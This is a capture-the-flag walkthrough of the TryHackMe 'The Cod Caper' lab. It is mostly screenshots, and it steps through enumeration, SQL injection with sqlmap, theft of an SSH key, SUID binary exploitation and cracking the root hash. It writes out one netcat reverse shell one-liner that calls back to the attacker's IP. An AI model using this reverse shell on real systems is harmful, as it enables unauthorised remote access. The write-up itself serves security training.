> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/walkthroughs-easy/the-cod-caper.md).

# The Cod Caper

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMqMSJqaPI58sY2oUS%2Fimage.png?alt=media\&token=573a48f9-2997-4741-ba2d-e93925bdbc60)

## Host Enumeration

Lets run nmap scan to find open ports and the services running on them

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMrDd60OfUrngdpSE5%2Fimage.png?alt=media\&token=dc8a460a-af73-4784-965e-1f362dd2cad8)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMrNhMe6UFnHkq1_t0%2Fimage.png?alt=media\&token=ef2a9967-c21f-4489-afd2-93f9360e8bea)

## Web Enumeration

Lets check the webpage.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMrZ4t8GIM0SkmrdVf%2Fimage.png?alt=media\&token=adb84cfe-2ab7-4c20-92c3-1c430199a768)

Its a default Apache2 page, lets run gobuster to find hidden files and directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMuj6i5h99D5cOrMdC%2Fimage.png?alt=media\&token=6ff90359-6905-4eb2-bc10-c087b086ea73)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMung_24Sx9yqGMHNO%2Fimage.png?alt=media\&token=322698cb-e5c5-4e26-a1ae-d3f41d615893)

## Web Exploitation

Lets use Sqlmap to find more information.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMzSVOTEVebw_Ub7Nw%2Fimage.png?alt=media\&token=0b146dbd-7bd1-4721-a9ae-2138b581b09d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMzXlQGgVNIJg-zszv%2Fimage.png?alt=media\&token=32c71b49-308b-4ecd-8531-3ba6d6f0869d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMzfLg-YYOz4uLSGSX%2Fimage.png?alt=media\&token=0d72104c-8452-4c3f-a83e-4ac0640647cf)

## Command Execution

Lets check the administrator.php page and login with the credentials we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR0py4WxpOAIUcPCAt%2Fimage.png?alt=media\&token=85a9d80e-9cb3-4542-8e3b-1cd2a678b027)

Looks like we can run commands. Lets get a reverse shell on the machine, first we start a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR17ToqnfiDdRW8GTu%2Fimage.png?alt=media\&token=40718052-570e-4b9f-8240-dba2e597f0ac)

Now lets run the reverse shell command

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Your-IP> 1234 >/tmp/f
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR1O1F3a9fVGJ674KA%2Fimage.png?alt=media\&token=271c74d7-c892-427e-8235-8eb5b1b9f51f)

We have a shell. Lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR1oqKdN96cAn8hjSk%2Fimage.png?alt=media\&token=fbf80aa1-4a34-44fb-b8c6-4bcf2dece759)

Lets look at how many files are in the current directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR25u6UVMwsx-5H-TL%2Fimage.png?alt=media\&token=a5e62143-5069-4435-8116-f735acd786ba)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2AJKypLGmCu87fjF%2Fimage.png?alt=media\&token=a22f7235-a409-487c-9929-8763293bb49c)

Lets check if pingu still has his account on this machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2KkaO-ui0h8BxUJ-%2Fimage.png?alt=media\&token=ae3c55b5-0f13-4994-9686-18a8216a1c23)

Looks like he does.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2OjXoBmSRVrDZfLj%2Fimage.png?alt=media\&token=4e6884eb-1c28-4b73-a580-5378b90f1077)

Lets look for interesting files belonging to www-data.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4FYLS756SDWgzXNg%2Fimage.png?alt=media\&token=34e42653-f75d-4cee-b60d-6a4332f6b39e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4Kdmxx2mZguvhKO6%2Fimage.png?alt=media\&token=71d6d2c0-39f1-4578-939a-5faf63c4f933)

Lets look at this interesting file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4TE969GIrQH8MAEZ%2Fimage.png?alt=media\&token=b32bbeda-80ec-4c39-b1d0-862e915220cf)

Looks like a password.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4lAQnnsNryT0dVt2%2Fimage.png?alt=media\&token=9890ade4-78bb-4e49-91a5-f9991437f629)

Lets now go get the private ssh key of pingu.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2wBlEh80QXbVrLov%2Fimage.png?alt=media\&token=6ba5dbe6-0a33-4d4a-8802-a16a240cbe82)

Lets cat the contents of `id_rsa`*and copy it to our machine and call the file `id_rsa.`*

Now lets set the permissions for the file and login with the password we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR4gX3UhU_PD-9rBZd%2Fimage.png?alt=media\&token=b5b2b772-adc6-4b8e-8fac-fd212cbb5de1)

## LinEnum

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR5EOcbSX6sul2V2ok%2Fimage.png?alt=media\&token=646b6c39-8a8b-486d-98df-6b99a7dcfb64)

Lets use the second method, first on our machine lets cd into the directory where the LinEnum file is located and then start a http server on port 8000

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR5WcNkeBbjNPvy_c-%2Fimage.png?alt=media\&token=0e68a014-eb3c-4ea3-b38a-dc6e6fb742f2)

Now lets go to the /tmp folder on the victim machine and download the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR5jQ7xpU-eCBfZNbl%2Fimage.png?alt=media\&token=9da3221d-ef67-4942-9655-d07d17ad8f29)

Now lets give it executable permissions and run the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR6UuQLDsvEZLNyzmJ%2Fimage.png?alt=media\&token=8d963cc3-a51c-46dd-878b-a422ef12bd9a)

Once we run the file we get a lot of information. Looking at the SUID files, we see an interesting one that is not common.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR6i3ku6E-X0d0UepQ%2Fimage.png?alt=media\&token=beb43d7b-7a80-493b-a3b0-ed3b08390c8d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR6odJHlWmdUEhYIz6%2Fimage.png?alt=media\&token=e0f928a0-b06f-4d96-a196-e161465cae42)

## pwndbg

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR7EcjZL7xDH4mKGnK%2Fimage.png?alt=media\&token=2024db8a-6ace-4245-8f34-a34046a4f45b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR7YicRXN26MqfWIba%2Fimage.png?alt=media\&token=1302353c-b9be-4948-b9be-d664b2723cfa)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR7nu3WxixF_Mc3eLE%2Fimage.png?alt=media\&token=f3726d90-41f1-464f-8808-83609e81c142)

## Binary-Exploitation: Manually

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8BxeU5wOmjOzrMpY%2Fimage.png?alt=media\&token=63c1ee80-8651-4ab2-8bd2-517b771f4d2f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8EpwT8BcSjZxZcnZ%2Fimage.png?alt=media\&token=52a3ad3a-2eb2-4d16-a7a5-461fee8b56db)

## Binary-Exploitation: The Pwntools way

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8iRh4BcRZO5hrLK2%2Fimage.png?alt=media\&token=536170d4-c256-46ee-a0b8-2b64f78066d2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR8l_79HNYTA1yNR1r%2Fimage.png?alt=media\&token=22061315-0f6a-47c5-9fe8-1802277a1cce)

## Binary Exploitation

Lets use the manual way

Lets cd into the /opt/secret directory and run the command to get the hash of the root user

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR988xC02mG5Gftgwm%2Fimage.png?alt=media\&token=3b736e5a-758f-4ca6-a402-50b5060219a1)

## Finishing The Job

We have the hash, lets copy it and save it on our machine in a file called hash and lets crack it using hashcat.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeR9rI5s1Yyji6_VjWb%2Fimage.png?alt=media\&token=ffa2187e-9ca8-4a71-9ffe-54508c264b05)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR7zrQs-V47bx8dHlC%2F-MeRB44mkAtUnBUbNUXz%2Fimage.png?alt=media\&token=09951160-c9b8-43f5-8212-96ab355f88a2)

We have the password.